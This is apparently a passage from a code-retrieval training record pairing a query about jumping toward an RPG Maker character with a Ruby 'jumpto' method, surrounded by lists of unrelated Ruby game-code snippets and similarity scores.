"def hit\n hit_object = $window.tiles.select{|t| t.within_clickable?(@x, @y) and !t.content.nil?}\n return hit_object.first if !hit_object.nil?\n end",
"def slow_dance(target, tiles)\n tiles.each_with_index do |dir, idx|\n return idx if dir == target\n end\nend",
"def jump_forward(power=1)\n jump(0, power) if @direction == 2 \n jump(- power, 0) if @direction == 4\n jump(power, 0) if @direction == 6 \n jump(0, - power) if @direction == 8 \n end",
"def jmp(pos=0)\n @pos = pos\n end"
] |
[
"0.681838",
"0.62129366",
"0.6167943",
"0.6155464",
"0.60703015",
"0.6056737",
"0.6056698",
"0.6022444",
"0.5966098",
"0.59534216",
"0.5945517",
"0.59411716",
"0.59160763",
"0.5876896",
"0.5866439",
"0.57733643",
"0.5735784",
"0.5730152",
"0.5722916",
"0.5709836",
"0.570626",
"0.5692572",
"0.5684395",
"0.5683679",
"0.5683575",
"0.56815225",
"0.5651734",
"0.56455666",
"0.56455666",
"0.56455666",
"0.56291354",
"0.5626011",
"0.56173426",
"0.5599621",
"0.5597679",
"0.5577364",
"0.5570005",
"0.5558773",
"0.5552517",
"0.5550982",
"0.55502445",
"0.5539677",
"0.5535515",
"0.5526302",
"0.5516393",
"0.5513699",
"0.5513388",
"0.55040276",
"0.5498248",
"0.54946184",
"0.54899013",
"0.5480286",
"0.5480107",
"0.54602015",
"0.5452799",
"0.5451943",
"0.5450987",
"0.5433367",
"0.54322106",
"0.54309744",
"0.54307294",
"0.5430349",
"0.542914",
"0.5429114",
"0.54290134",
"0.54290134",
"0.54273933",
"0.540938",
"0.5405551",
"0.5390939",
"0.5386595",
"0.5384576",
"0.5384234",
"0.53832895",
"0.5379698",
"0.5377165",
"0.537119",
"0.53710175",
"0.53618944",
"0.53578496",
"0.53541946",
"0.53541946",
"0.53541946",
"0.53541946",
"0.5346828",
"0.5342118",
"0.5338235",
"0.5335305",
"0.5334945",
"0.53297716",
"0.532456",
"0.53183955",
"0.53150624",
"0.5314681",
"0.53142",
"0.5303819",
"0.5302292",
"0.5299946",
"0.52995443",
"0.5286355"
] |
0.8066769
|
0
|
jumpto character ( 0 = Game Player, 1 and up event id)
|
def jumpto(char_id, tilexy=nil)
char_id > 0 ? char = $game_map.events[char_id] : char = $game_player
tilexy.nil? ? condxy = [char.x, char.y] : condxy = [tilexy[0], tilexy[1]]
jx = + eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] >= @x
jy = - eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] <= @y
jx = - eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] <= @x
jy = - eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] <= @y
jx = - eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] <= @x
jy = + eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] >= @y
jx = + eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] >= @x
jy = + eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] >= @y
jump(jx, jy)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def button_up(id)\r\n\r\n # Up-Arrow key\r\n if id == Gosu::KbUp then\r\n @player.reset_jump if @player.is_jumping?\r\n end\r\n end",
"def jump_to(id, x, y, w=true)\n RME::deprecated_command(\"jump_to\", \"use 'event_jump_to' or 'player_jump_to'\")\n event(id).jump_to(x, y, w)\n end",
"def button_down(id)\r\n\r\n # Up-Arrow key\r\n if id == Gosu::KbUp then\r\n\r\n # Check if the player sprite can jump\r\n if [1,3,4,5,6].include?(get_tile_info(@player.get_x,\r\n @player.get_y,:down)) then\r\n\r\n # Call the jump function\r\n @player.jump\r\n\r\n # Player still might have a chance to \"double\" jump\r\n elsif @player.get_fall < 5 then\r\n @player.jump\r\n end\r\n end\r\n end",
"def button_up(id)\n\t\tcase id\n\t\twhen 44 then @player_one.fire\n\t\twhen 225 then @player_two.fire\n\t\twhen 41 then exit\n\t\tend\n\tend",
"def jump(str)\n if str == \"treat\"\n puts \"jump up and down\"\n end\n end",
"def position_character(c,i)\n return if $game_variables[Yuki::Var::FM_Sel_Foll] > 0\n c1 = (i == 0 ? $game_player : @followers[i - 1].character)\n x = c1.x\n y = c1.y\n if $game_switches[Sw::Env_CanFly] || $game_switches[Sw::FM_NoReset]\n case c1.direction\n when 2\n y -= 1\n when 4\n x += 1\n when 6\n x -= 1\n else\n y += 1\n end\n end\n c.through = false\n if c.passable?(x, y, 0) # c1.direction)) #$game_map\n c.moveto(x, y)\n else\n c.moveto(c1.x, c1.y)\n end\n c.through = true\n c.direction = $game_player.direction\n c.update\n end",
"def navigate_from_the_entrance(char)\n start_from_entrance\n locked_chest\n enchantment_table(char)\n end",
"def cursor_up\n $game_system.se_play($data_system.cursor_se)\n @index += $game_party.actors.size - 1\n @index %= $game_party.actors.size\n end",
"def get_character(param)\n if $game_party.in_battle\n nil\n elsif param == -1\n $game_player\n elsif param < -1\n $game_player.followers[param.abs-2]\n else\n $game_map.events[param]\n end\n end",
"def start_jump(power)\n player = self.is_a?(Game_Player)\n if player\n RPG::SE.new(FalInt::JumpSe,80).play \n self.followers.reverse_each do |f|\n break if Input.dir4 == 0\n f.move_toward_player ; f.move_toward_player ; f.move_toward_player\n f.jump(0, power) if @direction == 2\n f.jump(- power, 0) if @direction == 4\n f.jump(power, 0) if @direction == 6\n f.jump(0, - power) if @direction == 8\n end\n end\n jump(0, power) if player ? Input.dir4 == 2 : @direction == 2\n jump(- power, 0) if player ? Input.dir4 == 4 : @direction == 4\n jump(power, 0) if player ? Input.dir4 == 6 : @direction == 6\n jump(0, - power) if player ? Input.dir4 == 8 : @direction == 8\n jump(0, 0) if Input.dir4 == 0 and player\n end",
"def cursor_up\n $game_system.se_play($data_system.cursor_se)\n $game_troop.enemies.size.times do\n @index += $game_troop.enemies.size - 1\n @index %= $game_troop.enemies.size\n break if self.enemy.exist?\n end\n end",
"def move_to(id, x, y, wait = false)\n\t\tcharacter = $game_player\n\t\tcharacter = $game_map.events[id] if id != 0\n\t\tcharacter.move_to_position(x, y, wait)\n\tend",
"def get_character(param)\r\n if $game_party.in_battle\r\n nil\r\n elsif param < 0\r\n $game_player\r\n else\r\n events = same_map? ? $game_map.events : {}\r\n events[param > 0 ? param : @event_id]\r\n end\r\n end",
"def turn_towards_tb(x,y)\n map = $game_map\n event = map.events[@event_id]\n target = map.events[map.tbu_id_xy(x,y)]\n event.turn_toward_character(target) if !target.nil?\n end",
"def move(board, position, character= current_player(board))\nboard[position.to_i - 1] = character\nend",
"def move_toward(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to move according to the x and y differences\n if dx > 0 && dy > 0 # player is up left\n move_upper_left\n elsif dx > 0 && dy < 0 # player is down left\n move_lower_left\n elsif dx < 0 && dy > 0 # player is up right\n move_upper_right\n elsif dx < 0 && dy < 0 # player is down right\n move_lower_right\n elsif dx < 0 && dy == 0 # player is right\n move_right\n elsif dx > 0 && dy == 0 # player is left\n move_left\n elsif dx == 0 && dy < 0 # player is down\n move_down\n elsif dx == 0 && dy > 0 # player is up\n move_up\n end\n end",
"def switch_player\n @letter == :X ? 'O' : 'X'\n end",
"def switch_player\n @current_player = (@current_player == 'x' ? 'o' : 'x')\n end",
"def switch_player_position\n if @position == 1\n @symbol = \"\\u{274C}\"\n @position = 2\n elsif @position == 2\n @symbol = \"\\u{2705}\"\n @position = 1\n end\n end",
"def follow_char(character)\n sx = distance_x_from(character.x)\n sy = distance_y_from(character.y)\n if sx != 0 && sy != 0\n move_diagonal(sx > 0 ? 4 : 6, sy > 0 ? 8 : 2)\n elsif sx != 0\n move_straight(sx > 0 ? 4 : 6)\n elsif sy != 0\n move_straight(sy > 0 ? 8 : 2)\n end\n end",
"def cursor_down\n $game_system.se_play($data_system.cursor_se)\n @index += 1\n @index %= $game_party.actors.size\n end",
"def get_character(param)\n case param\n when -1 # Player\n return $game_player\n when 0 # This event\n events = $game_map.events\n return events == nil ? nil : events[@event_id]\n else # Particular event\n events = $game_map.events\n return events == nil ? nil : events[param]\n end\n end",
"def respond(id)\n case id\n #W causes the player to jump.\n when Gosu::KbW\n @map.player.decideJump\n #J causes the player to jump.\n when Gosu::KbJ\n @map.player.shoot\n #C when the current level is completed causes the game to continue to the next level.\n when Gosu::KbC\n if @map.victory and !@map.win\n @map.continue\n end\n #B when the current level is completed causes the game to replay the current level.\n when Gosu::KbB\n if @map.victory\n @map.reset\n end\n #E when the game is complete causes the game to exit.\n when Gosu::KbE\n if @map.win\n @window.close\n end\n end\n end",
"def jump(x, y)\n @position_x += x\n @position_y += y\n end",
"def command_133\r\n $game_system.battle_end_me = @params[0]\r\n end",
"def turn_away_from(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_left\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_right\n elsif dy < 0 # character is down\n turn_up\n elsif dy > 0 # character is up\n turn_down\n end\n end",
"def take_turn(player)\n if player == @player1\n color = :red\n else\n color = :blue\n end\n puts \"#{player.name} ('#{player.mark}'), it's your turn.\".colorize(color)\n puts\n puts \"What cell do you want to place your '#{player.mark}'? \"\\\n \"(Choose a cell number from 1-9)\"\n print \">> \"\n cell = get_input\n return if quit_or_restart?(cell)\n cell\n end",
"def goto(xpos, ypos, dur, jump)\n @point.goto(xpos,ypos,dur,jump)\n @dur = dur\n @jump = jump\n end",
"def goto room, args = {}\n\t\treturn false unless (can_goto?(room) && current_room.can_goto?(room))\n\t\t@current_room = room\n\t\tgoto! @current_room\n\t\treturn @current_room\n\tend",
"def jump\n @manipulators.inject(@history) { |h, man| man.manipulate!(h) }\n end",
"def move(char)\n case char.downcase\n when 'w', 'k'\n map.move_player(:north)\n when 's', 'j'\n map.move_player(:south)\n when 'a', 'h'\n map.move_player(:west)\n when 'd', 'l'\n map.move_player(:east)\n when 'r'\n map.reset\n when 'x'\n exit\n else\n raise MoveNotPermitted\n end\n end",
"def move_away_from(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to move according to the x and y differences\n if dx > 0 && dy > 0 # character is up left\n move_lower_right\n elsif dx > 0 && dy < 0 # character is down left\n move_upper_right\n elsif dx < 0 && dy > 0 # character is up right\n move_lower_left\n elsif dx < 0 && dy < 0 # character is down right\n move_upper_left\n elsif dx < 0 && dy == 0 # character is right\n move_left\n elsif dx > 0 && dy == 0 # character is left\n move_right\n elsif dx == 0 && dy < 0 # character is down\n move_up\n elsif dx == 0 && dy > 0 # character is up\n move_down\n end\n end",
"def go_room(command)\n if @current_room.has_exit?(command) \n # current room has this exit \n exit_room = @current_room.get_exit(command) # return string of room name\n # Search for instance of this room\n # update current room\n @game_rooms.each do |room|\n if room.is_room?(exit_room)\n @current_room = room # update current room\n end\n end\n puts \"\\nYou have entered the #{@current_room.print_name}!\\n\"\n else \n puts \"That is not a direction you can travel.\\n\"\n end\n end",
"def next_turn(ending_cup_idx)\n return :prompt if ending_cup_idx == 6 || ending_cup_idx == 13\n return :switch if @cups[ending_cup_idx].count == 1\n return ending_cup_idx\n end",
"def turn_toward(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_right\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_left\n elsif dy < 0 # character is down\n turn_down\n elsif dy > 0 # character is up\n turn_up\n end\n end",
"def current_player_switch()\n if @current_player == 0 \n @current_player = 1\n elsif @current_player == 1 \n @current_player = 0\n end\n end",
"def goto\n @world.here << params\n @world.attr[@id] = params\n Mud.new(@here.id).here.delete(@id)\n @here = Mud.new(params)\n @here.here << @id\n here\n prompt\n end",
"def call_menu\n call_idle($game_player.old_character_name, false)\n syn_map_menu\n end",
"def setup_move\n return unless PONY::ERRNO.check_sequence(current_act)\n stop_all_movements\n mx = @map_char.real_x + @acts[1]\n my = @map_char.real_y + @acts[2]\n goto(mx, my, @acts[3], @acts[4], @acts[5] || 0)\n end",
"def button_up(id)\n Game.begin_game(@score) if id == Gosu::KbEscape or id == Gosu::KbReturn or Gosu::KbSpace\n end",
"def move_away_from_player\n move_away_from_character($game_player)\n end",
"def move_character(character, direction)\n \t\tnew_location = $world.get_destination(character.location,\n\t\t\tcase direction\n\t\t\t\twhen /\\An/i then 0\n\t\t\t\twhen /\\Ae/i then 1\n\t\t\t\twhen /\\As/i then 2\n\t\t\t\twhen /\\Aw/i then 3\n\t\t\t\twhen /\\Au/i then 4\n \t\t\t\twhen /\\Ad/i then 5\n\t\t\tend\n \t\t)\n \t \tunless new_location.nil?\n \t\t\t$world.move_character character, character.location, new_location\n \t\t\tcharacter.location = new_location\n \t\t\tlook character if character.is_a? Player\n \t\telse print_line \"You can't go that way!\\n\" if character.is_a? Player end\n \tend",
"def cursor_down\n $game_system.se_play($data_system.cursor_se)\n $game_troop.enemies.size.times do\n @index += 1\n @index %= $game_troop.enemies.size\n break if self.enemy.exist?\n end\n end",
"def jump(address)\n @pc = address\n end",
"def jump\n \"Saltando...\"\n end",
"def move_player1 (choice_case)\n symbole_player1 = @player1.symbole\n @board.move_player1(choice_case, symbole_player1)\n @@game_count+=1\n end",
"def jump\n candidate = Tag.find_by_id(params[:tag])\n .gifs\n .order_by(:score, MONGO::DESCENDING)\n .offset(params[:offset] || 0)\n\n if candidate\n redirect_to candidate.gif.url\n else\n redirect_to 'http://gifurl.com'\n end\n end",
"def go direction\n act \"go #{direction}\"\n end",
"def next_position(position, command)\n action.public_send ACTIONS.detect { |e| e == command }.downcase, position\n end",
"def move(user_input, character = \"X\")\n @board[user_input] = character\n end",
"def switch_player\n @current_player = if @current_player == @player_o\n @player_x\n else\n @player_o\n end\n\n @number_of_turns += 1\n end",
"def button_up(key)\n close if key == Gosu::KbEscape\n\n # reset the game\n if @state == :end && key == Gosu::MsLeft\n @board = Board.new(self, 22, @root_dir)\n @state = :game\n return\n end\n\n @player_b.ai_inc if key == Gosu::KbS\n @player_b.ai_dec if key == Gosu::KbD\n\n if @player_on_turn.class == HotseatPlayer && key == Gosu::MsLeft\n if @board.cell_clicked(mouse_x, mouse_y, @player_on_turn.sym)\n\n return if @state == :end\n\n switch_players\n\n if @player_on_turn.class == AIPlayer\n @player_on_turn.make_move(@board)\n switch_players\n end\n end\n end\n end",
"def go(direction)\n puts \"You go \".red + direction.to_s.red\n @player.location = find_room_in_direction(direction)\n show_current_description\n end",
"def jump(n)\n \t\"*Jump!* \" * 2\n end",
"def button_down(id)\n if id == Gosu::KbEscape || id == Gosu::KbQ\n save\n close\n elsif id == Gosu::KbA\n @current_type = :terrain\n elsif id == Gosu::KbS\n @current_type = :enemies\n elsif id == Gosu::KbD\n @current_type = :candies\n elsif id == Gosu::KbLeft || id == Gosu::GpLeft\n @x_offset -= 1 if @x_offset > 0\n elsif id == Gosu::KbUp || id == Gosu::GpUp\n @y_offset -= 1 if @y_offset > 0\n elsif id == Gosu::KbRight || id == Gosu::GpRight\n @x_offset += 1 if @x_offset < LEVEL_WIDTH - 10\n elsif id == Gosu::KbDown || id == Gosu::GpDown\n @y_offset += 1 if @y_offset < LEVEL_HEIGHT - 10\n elsif id == Gosu::Kb1\n if @current_type == :terrain\n @current_selection = :background\n elsif @current_type == :enemies\n @current_selection = :slug\n elsif @current_type == :candies\n @current_selection = :soda\n end\n elsif id == Gosu::Kb2\n if @current_type == :terrain\n @current_selection = :platform\n elsif @current_type == :enemies\n @current_selection = :spikes\n elsif @current_type == :candies\n @current_selection = :gum\n end\n elsif id == Gosu::Kb3\n if @current_type == :terrain\n @current_selection = :player\n elsif @current_type == :enemies\n @current_selection = :mushroom\n elsif @current_type == :candies\n @current_selection = :chocolate\n end\n elsif id == Gosu::Kb4\n if @current_type == :terrain\n @current_selection = :door\n end\n elsif id == Gosu::Kb5\n if @current_type == :terrain\n @current_selection = :background2\n end\n elsif id == Gosu::MsLeft\n if @current_selection == :slug\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n x += 32 * @x_offset\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y -= 12\n y += 25 * @y_offset\n @enemies.push(Slug.new(self, x, y))\n elsif @current_selection == :spikes\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n x += 3\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y -= 12\n x += 32 * @x_offset\n y += 25 * @y_offset\n @enemies.push(Spikes.new(self, x, y))\n elsif @current_selection == :mushroom\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y += 6\n x += 32 * @x_offset\n y += 25 * @y_offset\n @enemies.push(Mushroom.new(self, x, y))\n elsif @current_selection == :player\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n x += 32 * @x_offset\n y += 25 * @y_offset\n x += 2\n @player = [x, y]\n elsif @current_selection == :door\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n x += 32 * @x_offset\n y += 25 * @y_offset\n y += 2 \n @door = [x, y]\n elsif @current_type == :candies\n x = (mouse_x / SCALE).to_i\n y = (mouse_y / SCALE).to_i\n x += 32 * @x_offset\n y += 25 * @y_offset\n @candies.push(Object.const_get(@current_selection.to_s.capitalize).new(self, x, y))\n end\n end\n end",
"def call_idle(sprite, anime)\n $game_player.set_step_anime(anime)\n $game_player.set_graphic(sprite, $game_player.character_index)\n end",
"def change_player \n if @current_player == 0\n @current_player = 1\n elsif @current_player == 1\n @current_player = 0\n end\n end",
"def change_turn\n if @player_to_move == \"w\"\n @player_to_move = \"b\"\n else\n @player_to_move = \"w\"\n end\n end",
"def lead_player \n l1 = left(@on_move)\n if @played[l1] == nil \n return nil #\n end \n end",
"def turn_to_player\n diffx = @x - $game.player.x\n diffy = @y - $game.player.y\n down = diffy < 0\n left = diffx > 0\n right = diffx < 0\n up = diffy > 0\n if down\n @direction = 2\n elsif up\n @direction = 8\n elsif left\n @direction = 4\n elsif right\n @direction = 6\n end\n end",
"def jumpto_tile(x, y)\n jumpto(0, [x, y])\n end",
"def go_to(input)\n # get input to menu selection and match to the value to open screen\n case input\n when \"PET_SITTERS\"\n menu_pet_sitter\n when \"CLIENTS\"\n @last_menu = \"main_menu\"\n menu_clients()\n when \"JOBS\"\n @last_menu = \"main_menu\"\n menu_jobs()\n when \"BACK\"\n self.send(@last_menu)\n when \"HOME\"\n main_menu()\n when \"EXIT\"\n system 'clear'\n @prompt.ask(\"#{@emoji[:smiling_cat_face_with_open_mouth]} Bye! #{@emoji[:dog_face]}\".colorize(:magenta))\n exit(0)\n end\n end",
"def first_move(game)\n if self.ai_player == \"X\"\n self.choice = \"C3\"\n return 10\n elsif self.ai_player == \"O\"\n first_play = {\n \"A1\" => \"B2\",\n \"B1\" => \"B3\",\n \"C1\" => \"B2\",\n \"A2\" => \"A3\",\n \"B2\" => \"C3\",\n \"C2\" => \"C3\",\n \"A3\" => \"B2\",\n \"B3\" => \"C3\",\n \"C3\" => \"B2\" }\n m = Matrix[*game.board.cells].index{|a| a}\n coord = \"#{alphabetize(m[0])}#{m[1]+1}\"\n self.choice = first_play[coord]\n return \"10\"\n end\n end",
"def switch_player!\n return @player = 'X' unless @player == 'X'\n @player = 'O'\n end",
"def move_to(n)\n cd(n)\n end",
"def jump_forward(power=1)\n jump(0, power) if @direction == 2 \n jump(- power, 0) if @direction == 4\n jump(power, 0) if @direction == 6 \n jump(0, - power) if @direction == 8 \n end",
"def button_down(id)\n\t\t\n\t\t# Exit on escape\n\t\tif id == Gosu::KbEscape\n\t\t\tclose\n\t\tend\n\t\t\n\t\t# Cursor Movement\n\t\t# NSEW = 0123\n\t\tif id == Gosu::KbUp\n\t\t\t@player.move(0)\n\t\tend\n\t\tif id == Gosu::KbDown\n\t\t\t@player.move(1)\n\t\tend\n\t\tif id == Gosu::KbRight\n\t\t\t@player.move(2)\n\t\tend\n\t\tif id == Gosu::KbLeft\n\t\t\t@player.move(3)\n\t\tend\n\t\t\n\t\t# Camera Movement\n\t\t# These should probably be farther from the load/save keys heh\n\t\tif id == Gosu::KbI\n\t\t\tif @zoom\n\t\t\t\t@camera_y -= 16 * 4\n\t\t\telse\n\t\t\t\t@camera_y -= 16\n\t\t\tend\n\t\tend\n\t\tif id == Gosu::KbK\n\t\t\tif @zoom\n\t\t\t\t@camera_y += 16 * 4\n\t\t\telse\n\t\t\t\t@camera_y += 16\n\t\t\tend\n\t\tend\n\t\tif id == Gosu::KbJ\n\t\t\tif @zoom\n\t\t\t\t@camera_x -= 16 * 4\n\t\t\telse\n\t\t\t\t@camera_x -= 16\n\t\t\tend\n\t\tend\n\t\tif id == Gosu::KbL\n\t\t\tif @zoom\n\t\t\t\t@camera_x += 16 * 4\n\t\t\telse\n\t\t\t\t@camera_x += 16\n\t\t\tend\n\t\tend\n\t\tif id == Gosu::KbM # Toggle lame, janky zoom\n\t\t\t@zoom = !@zoom\n\n\t\t\t# If we're turning zoom on, set the camera so it zooms\n\t\t\t# to the area the cursor is at, if we're turning zoom off\n\t\t\t# then just reset the camera to show the full editor field.\n\t\t\tif @zoom\n\t\t\t\t@camera_x = @player.x\n\t\t\t\t@camera_y = @player.y\n\t\t\telse\n\t\t\t\t@camera_x = 0\n\t\t\t\t@camera_y = 0\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\t\t# Editor Functions\n\t\tif id == Gosu::KbQ # Scroll left through sprites\n\t\t\t@player.change(1)\n\t\tend\n\t\tif id == Gosu::KbW # Scroll right through sprites\n\t\t\t@player.change(2)\n\t\tend\n\t\tif id == Gosu::KbA # Place a tile as a world tile\n\t\t\t@player.place(1)\n\t\tend\n\t\tif id == Gosu::KbS # Place a tile as a prop, draw above world tiles\n\t\t\t@player.place(2)\n\t\tend\n\t\tif id == Gosu::KbD # Clear a tiles world/prop/collision info, setting it to nil\n\t\t\t@player.place(3)\n\t\tend\n\t\tif id == Gosu::KbZ # Mark a tile for collision, only drawn in the editor\n\t\t\t@player.place(4)\n\t\tend\n\t\tif id == Gosu::KbX # Turn on/off drawing of the red cross-circle that shows where colliders are\n\t\t\t@map.draw_colliders?\n\t\tend\n\t\t\n\t\t# Save / Load Functions (Still Experimental, but working)\n\t\t# Make sure that the file you're trying to load was made\n\t\t# by the same version of Tyle you're using now, else oddness.\n\t\tif id == Gosu::KbO and DEBUG\n\t\t\t@map.save(FILENAME)\n\t\tend\n\t\tif id == Gosu::KbP and DEBUG\n\t\t\t@map.load(FILENAME)\n\t\tend\n\t\t\n\tend",
"def switch_player\n if @current_player == @players[0]\n @current_player = @players[1]\n else\n @current_player = @players[0]\n end\n end",
"def command_133\n $game_system.battle_end_me = @params[0]\n return true\n end",
"def switch_player\nif @player == PIECE[:x]\n@player = PIECE[:o]\nelse\n@player = PIECE[:x]\nend\nend",
"def current_player_move\n @on_move == HUMAN_PLAYER ? human.move : computer.move\n end",
"def Come_back(shiny=nil, animation=nil)\n events=$PokemonGlobal.dependentEvents\n if $game_variables[Current_Following_Variable]==$Trainer.party.length\n remove_sprite(false)\n for i in 0...events.length \n $scene.spriteset.addUserAnimation(Animation_Come_Out,@realEvents[i].x,@realEvents[i].y)\n end\n else\n if $Trainer.party[0].isShiny?\n shiny=true\n else\n shiny=false\n end\n change_sprite($Trainer.party[0].species, shiny, false)\n end\n for i in 0..$Trainer.party.length-1\n if $Trainer.party[i].hp>0 && !$Trainer.party[0].egg?\n $game_variables[Current_Following_Variable]=i\n refresh_sprite\n break\n end\n end\n for i in 0...events.length \n for i in 0..$Trainer.party.length-1\n if $Trainer.party[i].hp<=0 \n id = $Trainer.party[i].species\n else\n id = $Trainer.party[i].species\n end\n end\n if events[i] && events[i][8]==\"Dependent\"\n if shiny==true\n events[i][6]=sprintf(\"%03ds\",id)\n if FileTest.image_exist?(\"Graphics/Characters/\"+events[i][6])\n @realEvents[i].character_name=sprintf(\"%03ds\",id)\n else\n events[i][6]=sprintf(\"%03d\",id)\n @realEvents[i].character_name=sprintf(\"%03d\",id)\n end\n else\n events[i][6]=sprintf(\"%03d\",id)\n @realEvents[i].character_name=sprintf(\"%03d\",id)\n end\n if animation==true\n else\n end\n end \n end \nend",
"def key_up locator, keycode\r\n command 'keyUp', locator, keycode\r\n end",
"def key_up locator, keycode\r\n command 'keyUp', locator, keycode\r\n end",
"def battle_ready args, player_turn\r\n\tif args.state.Toad_XCoord == args.state.Cat_XCoord && args.state.Toad_YCoord == args.state.Cat_YCoord\r\n\t\t#Reverse turn\r\n\t\tif player_turn == 1\r\n\t\t\targs.state.player_turn_temp = 2\r\n\t\telsif player_turn == 2\r\n\t\t\targs.state.player_turn_temp = 1\r\n\t\telse\r\n\t\t\targs.outputs.labels << mylabel(args, 552, 24, \"shift_character transition error\")\r\n\t\tend\r\n\r\n\t\targs.state.tick_timer = nil\r\n\t\targs.state.screen_select = 2.1\r\n\tend\r\nend",
"def go_in\n case @game.view\n when :world_map\n @game.switch_view\n# @current_memory = @game.world_map.current_seed\n end\n end",
"def jump(loc)\n @ip = loc\n end",
"def jump(loc)\n @ip = loc\n end",
"def jump(loc)\n @ip = loc\n end",
"def computer_ai_2\n choice = @human_moves[-1]\n end",
"def newposition(input, player)\r\n input = input.to_i\r\n cells[input -1] = player.token\r\n end",
"def subcommand event\n\t\treturn \"\" if @scene.love_scene?\n\t\tif event.is_a?(CharacterPoseEvent)\n\t\t raw('<a data-character-id=\"'+event.character_id.to_s+'\" href=\"#\" class=\"btn btn-small edit-face\"><i class=\"icon-pencil\"></i> Change Face</a>')\n\t\telse\n\t\t\t\"\"\n\t\tend\n\tend",
"def position(input)\n player_position = input.to_i - 1\n @cells[player_position]\n end",
"def go_to_where_you_belong\n \n end",
"def pickup_int_character(char)\n if char.throwed\n if char.force_move != nil and char.jump_passable?(1, true)\n char.start_jump(1) ; char.force_move = nil\n end\n unless char.jumping?\n RPG::SE.new(ThrowSe, 90).play\n @player_busy = char.throwed = false\n end\n end\n return if char.is_a?(Game_Bomb) and char.action_time < 35\n if Input.trigger?(ActionKey) and char.picked and\n !$game_map.interpreter.running?\n if char.jump_passable?(4) ; char.start_jump(4)\n elsif char.jump_passable?(3) ; char.start_jump(3)\n elsif char.jump_passable?(2) ; char.start_jump(2)\n else ; char.force_move = true\n end\n char.picked = false\n char.throwed = true\n removepick_graphic ; @tool_anime = 16\n end\n if Input.trigger?(ActionKey) and char.x == @x + ajustxy(self)[0] and\n char.y == @y + ajustxy(self)[1] and !self.moving? and !@player_busy\n RPG::SE.new(PickUpSe, 80).play\n @player_busy = char.picked = true\n applypick_grafhic ; @tool_anime = 16\n end\n end",
"def switch_player\n @act_p = @act_p.id == 0 ? self[1] : self[0]\n end",
"def switch_player()\n\t\tif $current_player == @player1\n\t\t\t$current_player = @player2\n\t\telse \n\t\t\t$current_player = @player1\n\t\tend \n\tend",
"def player_push(event)\n event.turn_away_from_player\n event.jump_back if event.check_com(\"JUMPBACK\") and\n event.pushable_busy.nil? and not event.jump_passable?(1, true)\n if event.passable?(event.x, event.y, @direction) and !event.moving?\n unless event.x == @x and event.y == @y\n event.move_away_from_player\n RPG::SE.new(PushSe,80).play\n end\n end\n end",
"def move_to(x, y); puts \"\\e[#{y};#{x}G\" end",
"def move_follower_to_character\n return unless @follower\n return if $game_variables[Yuki::Var::FM_Sel_Foll] > 0\n @follower.move_follower_to_character # Fix left<->right stair issue but there's still a graphic glitch ^^'\n @follower.x = @x\n @follower.y = @y\n end",
"def switch_player_or_play_show\n puts \"\"\n puts \"Souhaites tu intervertir \\u{1F504} la position des joueurs ? y - n\"\n gets.chomp\n end",
"def find_starting_idx(destination_idx, jump_idx)\n jump_idx.length > 1 ? jump_idx[destination_idx - 1] : 0\nend",
"def turn_away_from_character(character)\n sx = distance_x_from(character.x)\n sy = distance_y_from(character.y)\n if sx.abs > sy.abs\n set_direction(sx > 0 ? 6 : 4)\n elsif sy != 0\n set_direction(sy > 0 ? 2 : 8)\n end\n end",
"def jump(str)\n @@JUMP_TABLE[str]\n end",
"def cursor\n return $game_player\n end",
"def cursor\n return $game_player\n end",
"def move_to_start_down(n); print \"\\e[#{n}E\" end",
"def button_up(id)\n # 'P' for pause\n if id == Gosu::Button::KbP\n @state = (@state == :paused)? :in_game : :paused\n end\n end",
"def go_to(rows,cols,face=nil)\n \tface = 'north' if (rows == 0 && cols == 0)\n @position.change ({:x => rows, :y => cols, :face => face.to_sym}) if face\n end",
"def jump_to_state(state)\n logger.debug \"STATE JUMP! to #{state}\"\n \n render_state(state)\n end"
] |
[
"0.64133227",
"0.63104606",
"0.629183",
"0.6197666",
"0.61967546",
"0.6068926",
"0.6065987",
"0.6033089",
"0.5984827",
"0.5938752",
"0.5879962",
"0.5853165",
"0.5837707",
"0.58167446",
"0.5796538",
"0.57891744",
"0.5763",
"0.57578504",
"0.5698879",
"0.5692215",
"0.5684462",
"0.566313",
"0.5641004",
"0.5608192",
"0.55989254",
"0.5579715",
"0.5578405",
"0.5536226",
"0.5518958",
"0.5518826",
"0.549679",
"0.5494023",
"0.5491017",
"0.5490315",
"0.5471115",
"0.546941",
"0.54578346",
"0.5443918",
"0.5443334",
"0.5442935",
"0.54404485",
"0.5435308",
"0.5429599",
"0.5418549",
"0.5416653",
"0.5411356",
"0.54010344",
"0.540046",
"0.53962725",
"0.5390633",
"0.53787297",
"0.53757316",
"0.5373804",
"0.53512895",
"0.5349673",
"0.53443253",
"0.53395826",
"0.53370285",
"0.5335674",
"0.5333795",
